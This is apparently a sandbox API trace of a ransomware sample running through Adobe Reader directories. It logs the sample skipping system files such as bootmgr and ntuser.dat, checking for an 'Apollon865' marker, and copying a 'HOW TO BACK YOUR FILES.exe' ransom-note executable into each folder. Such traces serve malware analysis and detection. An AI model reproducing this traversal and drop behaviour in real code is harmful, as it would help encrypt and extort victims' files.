	[0056.770] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81ed8ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4288, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IrakHau.htm", cAlternateFileName="")) returned 1
	[0056.770] lstrcmpiW (lpString1="IrakHau.htm", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0056.770] lstrcmpiW (lpString1="IrakHau.htm", lpString2="Apollon865.txt.exe") returned 1
	[0056.770] lstrcmpiW (lpString1="IrakHau.htm", lpString2=".") returned 1
	[0056.770] lstrcmpiW (lpString1="IrakHau.htm", lpString2="..") returned 1
	[0056.770] lstrcmpiW (lpString1="IrakHau.htm", lpString2="windows") returned -1
	[0056.770] lstrcmpiW (lpString1="IrakHau.htm", lpString2="bootmgr") returned 1
	[0056.770] lstrcmpiW (lpString1="IrakHau.htm", lpString2="temp") returned -1
	[0056.770] lstrcmpiW (lpString1="IrakHau.htm", lpString2="pagefile.sys") returned -1
	[0056.770] lstrcmpiW (lpString1="IrakHau.htm", lpString2="boot") returned 1
	[0056.770] lstrcmpiW (lpString1="IrakHau.htm", lpString2="ids.txt") returned 1
	[0056.770] lstrcmpiW (lpString1="IrakHau.htm", lpString2="ntuser.dat") returned -1
	[0056.771] lstrcmpiW (lpString1="IrakHau.htm", lpString2="perflogs") returned -1
	[0056.771] lstrcmpiW (lpString1="IrakHau.htm", lpString2="MSBuild") returned -1
	[0056.771] lstrlenW (lpString="IrakHau.htm") returned 11
	[0056.771] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Esl") returned 44
	[0056.771] lstrcpyW (in: lpString1=0x2d3e5a2, lpString2="IrakHau.htm" | out: lpString1="IrakHau.htm") returned="IrakHau.htm"
	[0056.771] lstrlenW (lpString="IrakHau.htm") returned 11
	[0056.771] lstrlenW (lpString="Apollon865") returned 10
	[0056.771] lstrcmpiW (lpString1="rakHau.htm", lpString2="Apollon865") returned 1
	[0056.771] lstrcpyW (in: lpString1=0x2d3e5a2, lpString2="Leame.htm" | out: lpString1="Leame.htm") returned="Leame.htm"
	[0056.771] lstrlenW (lpString="Leame.htm") returned 9
	[0056.771] lstrlenW (lpString="Apollon865") returned 10
	[0056.771] lstrcpyW (in: lpString1=0x2d3e5a2, lpString2="LeesMij.htm" | out: lpString1="LeesMij.htm") returned="LeesMij.htm"
	[0056.771] lstrlenW (lpString="LeesMij.htm") returned 11
	[0056.771] lstrlenW (lpString="Apollon865") returned 10
	[0056.771] lstrcmpiW (lpString1="eesMij.htm", lpString2="Apollon865") returned 1
	[0056.771] lstrcpyW (in: lpString1=0x2d3e5a2, lpString2="Leggimi.htm" | out: lpString1="Leggimi.htm") returned="Leggimi.htm"
	[0056.771] lstrlenW (lpString="Leggimi.htm") returned 11
	[0056.771] lstrlenW (lpString="Apollon865") returned 10
	[0056.771] lstrcmpiW (lpString1="eggimi.htm", lpString2="Apollon865") returned 1
	[0056.771] lstrcpyW (in: lpString1=0x2d3e5a2, lpString2="LeiaMe.htm" | out: lpString1="LeiaMe.htm") returned="LeiaMe.htm"
	[0056.771] lstrlenW (lpString="LeiaMe.htm") returned 10
	[0056.771] lstrlenW (lpString="Apollon865") returned 10
	[0056.771] lstrcpyW (in: lpString1=0x2d3e5a2, lpString2="Liesmich.htm" | out: lpString1="Liesmich.htm") returned="Liesmich.htm"
	[0056.771] lstrlenW (lpString="Liesmich.htm") returned 12
	[0056.771] lstrlenW (lpString="Apollon865") returned 10
	[0056.771] lstrcmpiW (lpString1="esmich.htm", lpString2="Apollon865") returned 1
	[0056.772] lstrcpyW (in: lpString1=0x2d3e5a2, lpString2="Lisezmoi.htm" | out: lpString1="Lisezmoi.htm") returned="Lisezmoi.htm"
	[0056.772] lstrlenW (lpString="Lisezmoi.htm") returned 12
	[0056.772] lstrlenW (lpString="Apollon865") returned 10
	[0056.772] lstrcmpiW (lpString1="sezmoi.htm", lpString2="Apollon865") returned 1
	[0056.772] lstrcpyW (in: lpString1=0x2d3e5a2, lpString2="Llegiu-me.htm" | out: lpString1="Llegiu-me.htm") returned="Llegiu-me.htm"
	[0056.772] lstrlenW (lpString="Llegiu-me.htm") returned 13
	[0056.772] lstrlenW (lpString="Apollon865") returned 10
	[0056.772] lstrcmpiW (lpString1="giu-me.htm", lpString2="Apollon865") returned 1
	[0056.772] lstrcpyW (in: lpString1=0x2d3e5a2, lpString2="LueMinut.htm" | out: lpString1="LueMinut.htm") returned="LueMinut.htm"
	[0056.772] lstrlenW (lpString="LueMinut.htm") returned 12
	[0056.772] lstrlenW (lpString="Apollon865") returned 10
	[0056.772] lstrcmpiW (lpString1="eMinut.htm", lpString2="Apollon865") returned 1
	[0056.772] lstrcpyW (in: lpString1=0x2d3e5a2, lpString2="Reader" | out: lpString1="Reader") returned="Reader"
	[0056.772] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7908
	[0056.772] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x60) returned 0x5c5458
	[0056.772] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7910 | out: ListHead=0x5b76b0, ListEntry=0x5b7910) returned 0x5b78f0
	[0056.772] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7feb61e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4176, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ReadMe.htm", cAlternateFileName="")) returned 1
	[0056.772] lstrcmpiW (lpString1="ReadMe.htm", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0056.772] lstrcmpiW (lpString1="ReadMe.htm", lpString2="Apollon865.txt.exe") returned 1
	[0056.772] lstrcmpiW (lpString1="ReadMe.htm", lpString2=".") returned 1
	[0056.772] lstrcmpiW (lpString1="ReadMe.htm", lpString2="..") returned 1
	[0056.772] lstrcmpiW (lpString1="ReadMe.htm", lpString2="windows") returned -1
	[0056.772] lstrcmpiW (lpString1="ReadMe.htm", lpString2="bootmgr") returned 1
	[0056.772] lstrcmpiW (lpString1="ReadMe.htm", lpString2="temp") returned -1
	[0056.772] lstrcmpiW (lpString1="ReadMe.htm", lpString2="pagefile.sys") returned 1
	[0056.772] lstrcmpiW (lpString1="ReadMe.htm", lpString2="boot") returned 1
	[0056.772] lstrcmpiW (lpString1="ReadMe.htm", lpString2="ids.txt") returned 1
	[0056.773] lstrcmpiW (lpString1="ReadMe.htm", lpString2="ntuser.dat") returned 1
	[0056.773] lstrcmpiW (lpString1="ReadMe.htm", lpString2="perflogs") returned 1
	[0056.773] lstrcmpiW (lpString1="ReadMe.htm", lpString2="MSBuild") returned 1
	[0056.773] lstrlenW (lpString="ReadMe.htm") returned 10
	[0056.773] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader") returned 47
	[0056.773] lstrcpyW (in: lpString1=0x2d3e5a2, lpString2="ReadMe.htm" | out: lpString1="ReadMe.htm") returned="ReadMe.htm"
	[0056.773] lstrlenW (lpString="ReadMe.htm") returned 10
	[0056.773] lstrlenW (lpString="Apollon865") returned 10
	[0056.773] lstrcpyW (in: lpString1=0x2d3e5a2, lpString2="ReadMeCS.htm" | out: lpString1="ReadMeCS.htm") returned="ReadMeCS.htm"
	[0056.773] lstrlenW (lpString="ReadMeCS.htm") returned 12
	[0056.773] lstrlenW (lpString="Apollon865") returned 10
	[0056.773] lstrcmpiW (lpString1="adMeCS.htm", lpString2="Apollon865") returned -1
	[0056.773] lstrcpyW (in: lpString1=0x2d3e5a2, lpString2="ReadMeCT.htm" | out: lpString1="ReadMeCT.htm") returned="ReadMeCT.htm"
	[0056.773] lstrlenW (lpString="ReadMeCT.htm") returned 12
	[0056.773] lstrlenW (lpString="Apollon865") returned 10
	[0056.773] lstrcmpiW (lpString1="adMeCT.htm", lpString2="Apollon865") returned -1
	[0056.773] lstrcpyW (in: lpString1=0x2d3e5a2, lpString2="ReadMeCZE.htm" | out: lpString1="ReadMeCZE.htm") returned="ReadMeCZE.htm"
	[0056.773] lstrlenW (lpString="ReadMeCZE.htm") returned 13
	[0056.773] lstrlenW (lpString="Apollon865") returned 10
	[0056.773] lstrcmpiW (lpString1="dMeCZE.htm", lpString2="Apollon865") returned 1
	[0056.773] lstrcpyW (in: lpString1=0x2d3e5a2, lpString2="ReadMeHRV.htm" | out: lpString1="ReadMeHRV.htm") returned="ReadMeHRV.htm"
	[0056.773] lstrlenW (lpString="ReadMeHRV.htm") returned 13
	[0056.773] lstrlenW (lpString="Apollon865") returned 10
	[0056.773] lstrcmpiW (lpString1="dMeHRV.htm", lpString2="Apollon865") returned 1
	[0056.773] lstrcpyW (in: lpString1=0x2d3e5a2, lpString2="ReadMeHUN.htm" | out: lpString1="ReadMeHUN.htm") returned="ReadMeHUN.htm"
	[0056.774] lstrlenW (lpString="ReadMeHUN.htm") returned 13
	[0056.774] lstrlenW (lpString="Apollon865") returned 10
	[0056.774] lstrcmpiW (lpString1="dMeHUN.htm", lpString2="Apollon865") returned 1
	[0056.774] lstrcpyW (in: lpString1=0x2d3e5a2, lpString2="ReadMeJ.htm" | out: lpString1="ReadMeJ.htm") returned="ReadMeJ.htm"
	[0056.774] lstrlenW (lpString="ReadMeJ.htm") returned 11
	[0056.774] lstrlenW (lpString="Apollon865") returned 10
	[0056.774] lstrcmpiW (lpString1="eadMeJ.htm", lpString2="Apollon865") returned 1
	[0056.774] lstrcpyW (in: lpString1=0x2d3e5a2, lpString2="ReadMeK.htm" | out: lpString1="ReadMeK.htm") returned="ReadMeK.htm"
	[0056.774] lstrlenW (lpString="ReadMeK.htm") returned 11
	[0056.774] lstrlenW (lpString="Apollon865") returned 10
	[0056.774] lstrcmpiW (lpString1="eadMeK.htm", lpString2="Apollon865") returned 1
	[0056.774] lstrcpyW (in: lpString1=0x2d3e5a2, lpString2="ReadMePOL.htm" | out: lpString1="ReadMePOL.htm") returned="ReadMePOL.htm"
	[0056.774] lstrlenW (lpString="ReadMePOL.htm") returned 13
	[0056.774] lstrlenW (lpString="Apollon865") returned 10
	[0056.774] lstrcmpiW (lpString1="dMePOL.htm", lpString2="Apollon865") returned 1
	[0056.774] lstrcpyW (in: lpString1=0x2d3e5a2, lpString2="ReadMeRUM.htm" | out: lpString1="ReadMeRUM.htm") returned="ReadMeRUM.htm"
	[0056.774] lstrlenW (lpString="ReadMeRUM.htm") returned 13
	[0056.774] lstrlenW (lpString="Apollon865") returned 10
	[0056.774] lstrcmpiW (lpString1="dMeRUM.htm", lpString2="Apollon865") returned 1
	[0056.774] lstrcpyW (in: lpString1=0x2d3e5a2, lpString2="ReadMeRUS.htm" | out: lpString1="ReadMeRUS.htm") returned="ReadMeRUS.htm"
	[0056.774] lstrlenW (lpString="ReadMeRUS.htm") returned 13
	[0056.774] lstrlenW (lpString="Apollon865") returned 10
	[0056.774] lstrcmpiW (lpString1="dMeRUS.htm", lpString2="Apollon865") returned 1
	[0056.775] lstrcpyW (in: lpString1=0x2d3e5a2, lpString2="ReadMeSKY.htm" | out: lpString1="ReadMeSKY.htm") returned="ReadMeSKY.htm"
	[0056.775] lstrlenW (lpString="ReadMeSKY.htm") returned 13
	[0056.775] lstrlenW (lpString="Apollon865") returned 10
	[0056.775] lstrcmpiW (lpString1="dMeSKY.htm", lpString2="Apollon865") returned 1
	[0056.775] lstrcpyW (in: lpString1=0x2d3e5a2, lpString2="ReadMeUKR.htm" | out: lpString1="ReadMeUKR.htm") returned="ReadMeUKR.htm"
	[0056.775] lstrlenW (lpString="ReadMeUKR.htm") returned 13
	[0056.775] lstrlenW (lpString="Apollon865") returned 10
	[0056.775] lstrcmpiW (lpString1="dMeUKR.htm", lpString2="Apollon865") returned 1
	[0056.775] lstrcpyW (in: lpString1=0x2d3e5a2, lpString2="Resource" | out: lpString1="Resource") returned="Resource"
	[0056.775] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7928
	[0056.775] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x64) returned 0x5c8f30
	[0056.775] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7930 | out: ListHead=0x5b76b0, ListEntry=0x5b7930) returned 0x5b7910
	[0056.775] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf66ca0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7cf66ca0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7cf66ca0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Setup Files", cAlternateFileName="SETUPF~1")) returned 1
	[0056.775] lstrcmpiW (lpString1="Setup Files", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0056.775] lstrcmpiW (lpString1="Setup Files", lpString2="Apollon865.txt.exe") returned 1
	[0056.775] lstrcmpiW (lpString1="Setup Files", lpString2=".") returned 1
	[0056.775] lstrcmpiW (lpString1="Setup Files", lpString2="..") returned 1
	[0056.775] lstrcmpiW (lpString1="Setup Files", lpString2="windows") returned -1
	[0056.775] lstrcmpiW (lpString1="Setup Files", lpString2="bootmgr") returned 1
	[0056.775] lstrcmpiW (lpString1="Setup Files", lpString2="temp") returned -1
	[0056.775] lstrcmpiW (lpString1="Setup Files", lpString2="pagefile.sys") returned 1
	[0056.775] lstrcmpiW (lpString1="Setup Files", lpString2="boot") returned 1
	[0056.775] lstrcmpiW (lpString1="Setup Files", lpString2="ids.txt") returned 1
	[0056.775] lstrcmpiW (lpString1="Setup Files", lpString2="ntuser.dat") returned 1
	[0056.775] lstrcmpiW (lpString1="Setup Files", lpString2="perflogs") returned 1
	[0056.775] lstrcmpiW (lpString1="Setup Files", lpString2="MSBuild") returned 1
	[0056.775] lstrlenW (lpString="Setup Files") returned 11
	[0056.775] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource") returned 49
	[0056.775] lstrcpyW (in: lpString1=0x2d3e5a2, lpString2="Setup Files" | out: lpString1="Setup Files") returned="Setup Files"
	[0056.776] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7948
	[0056.776] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x6a) returned 0x59aa88
	[0056.776] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7950 | out: ListHead=0x5b76b0, ListEntry=0x5b7950) returned 0x5b7930
	[0056.776] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fe90080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x41c1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Vigtigt.htm", cAlternateFileName="")) returned 1
	[0056.776] lstrcmpiW (lpString1="Vigtigt.htm", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0056.776] lstrcmpiW (lpString1="Vigtigt.htm", lpString2="Apollon865.txt.exe") returned 1
	[0056.776] lstrcmpiW (lpString1="Vigtigt.htm", lpString2=".") returned 1
	[0056.776] lstrcmpiW (lpString1="Vigtigt.htm", lpString2="..") returned 1
	[0056.776] lstrcmpiW (lpString1="Vigtigt.htm", lpString2="windows") returned -1
	[0056.776] lstrcmpiW (lpString1="Vigtigt.htm", lpString2="bootmgr") returned 1
	[0056.776] lstrcmpiW (lpString1="Vigtigt.htm", lpString2="temp") returned 1
	[0056.776] lstrcmpiW (lpString1="Vigtigt.htm", lpString2="pagefile.sys") returned 1
	[0056.776] lstrcmpiW (lpString1="Vigtigt.htm", lpString2="boot") returned 1
	[0056.776] lstrcmpiW (lpString1="Vigtigt.htm", lpString2="ids.txt") returned 1
	[0056.776] lstrcmpiW (lpString1="Vigtigt.htm", lpString2="ntuser.dat") returned 1
	[0056.776] lstrcmpiW (lpString1="Vigtigt.htm", lpString2="perflogs") returned 1
	[0056.776] lstrcmpiW (lpString1="Vigtigt.htm", lpString2="MSBuild") returned 1
	[0056.776] lstrlenW (lpString="Vigtigt.htm") returned 11
	[0056.776] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files") returned 52
	[0056.776] lstrcpyW (in: lpString1=0x2d3e5a2, lpString2="Vigtigt.htm" | out: lpString1="Vigtigt.htm") returned="Vigtigt.htm"
	[0056.776] lstrlenW (lpString="Vigtigt.htm") returned 11
	[0056.776] lstrlenW (lpString="Apollon865") returned 10
	[0056.776] lstrcmpiW (lpString1="igtigt.htm", lpString2="Apollon865") returned 1
	[0056.776] lstrcpyW (in: lpString1=0x2d3e5a2, lpString2="Viktig.htm" | out: lpString1="Viktig.htm") returned="Viktig.htm"
	[0056.776] lstrlenW (lpString="Viktig.htm") returned 10
	[0056.776] lstrlenW (lpString="Apollon865") returned 10
	[0056.776] lstrcpyW (in: lpString1=0x2d3e5a2, lpString2="Viktigt.htm" | out: lpString1="Viktigt.htm") returned="Viktigt.htm"
	[0056.776] lstrlenW (lpString="Viktigt.htm") returned 11
	[0056.776] lstrlenW (lpString="Apollon865") returned 10
	[0056.777] lstrcmpiW (lpString1="iktigt.htm", lpString2="Apollon865") returned 1
	[0056.777] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files"
	[0056.777] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa88 | out: hHeap=0x580000) returned 1
	[0056.777] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7948 | out: hHeap=0x580000) returned 1
	[0056.777] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files") returned 52
	[0056.777] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files"
	[0056.777] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0056.777] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\setup files\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0056.781] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0056.781] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf66ca0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x39ea1f90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x39ea1f90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0056.781] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0056.781] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0056.781] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0056.781] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf66ca0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x39ea1f90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x39ea1f90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0056.781] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0056.781] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0056.781] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0056.781] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0056.781] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39ea1f90, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x39ea1f90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0056.781] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0056.781] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf66ca0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d580500, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{AC76BA86-7AD7-FFFF-7B44-AA0000000001}", cAlternateFileName="{AC76B~1")) returned 1
	[0056.781] lstrcmpiW (lpString1="{AC76BA86-7AD7-FFFF-7B44-AA0000000001}", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0056.781] lstrcmpiW (lpString1="{AC76BA86-7AD7-FFFF-7B44-AA0000000001}", lpString2="Apollon865.txt.exe") returned -1
	[0056.781] lstrcmpiW (lpString1="{AC76BA86-7AD7-FFFF-7B44-AA0000000001}", lpString2=".") returned 1
	[0056.781] lstrcmpiW (lpString1="{AC76BA86-7AD7-FFFF-7B44-AA0000000001}", lpString2="..") returned 1
	[0056.782] lstrcmpiW (lpString1="{AC76BA86-7AD7-FFFF-7B44-AA0000000001}", lpString2="windows") returned -1
	[0056.782] lstrcmpiW (lpString1="{AC76BA86-7AD7-FFFF-7B44-AA0000000001}", lpString2="bootmgr") returned -1
	[0056.782] lstrcmpiW (lpString1="{AC76BA86-7AD7-FFFF-7B44-AA0000000001}", lpString2="temp") returned -1
	[0056.782] lstrcmpiW (lpString1="{AC76BA86-7AD7-FFFF-7B44-AA0000000001}", lpString2="pagefile.sys") returned -1
	[0056.782] lstrcmpiW (lpString1="{AC76BA86-7AD7-FFFF-7B44-AA0000000001}", lpString2="boot") returned -1
	[0056.782] lstrcmpiW (lpString1="{AC76BA86-7AD7-FFFF-7B44-AA0000000001}", lpString2="ids.txt") returned -1
	[0056.782] lstrcmpiW (lpString1="{AC76BA86-7AD7-FFFF-7B44-AA0000000001}", lpString2="ntuser.dat") returned -1
	[0056.782] lstrcmpiW (lpString1="{AC76BA86-7AD7-FFFF-7B44-AA0000000001}", lpString2="perflogs") returned -1
	[0056.782] lstrcmpiW (lpString1="{AC76BA86-7AD7-FFFF-7B44-AA0000000001}", lpString2="MSBuild") returned -1
	[0056.782] lstrlenW (lpString="{AC76BA86-7AD7-FFFF-7B44-AA0000000001}") returned 38
	[0056.782] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\*") returned 54
	[0056.782] lstrcpyW (in: lpString1=0x2d3e5ba, lpString2="{AC76BA86-7AD7-FFFF-7B44-AA0000000001}" | out: lpString1="{AC76BA86-7AD7-FFFF-7B44-AA0000000001}") returned="{AC76BA86-7AD7-FFFF-7B44-AA0000000001}"
	[0056.782] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7948
	[0056.782] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xb8) returned 0x5c1458
	[0056.782] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7950 | out: ListHead=0x5b76b0, ListEntry=0x5b7950) returned 0x5b7930
	[0056.782] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf66ca0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d580500, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{AC76BA86-7AD7-FFFF-7B44-AA0000000001}", cAlternateFileName="{AC76B~1")) returned 0
	[0056.782] FindClose (in: hFindFile=0x5ca2d0 | out: hFindFile=0x5ca2d0) returned 1
	[0056.782] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7950
	[0056.782] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}"
	[0056.782] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c1458 | out: hHeap=0x580000) returned 1
	[0056.782] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7948 | out: hHeap=0x580000) returned 1
	[0056.782] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}") returned 91
	[0056.782] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}"
	[0056.782] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0056.782] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\setup files\\{ac76ba86-7ad7-ffff-7b44-aa0000000001}\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0056.790] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
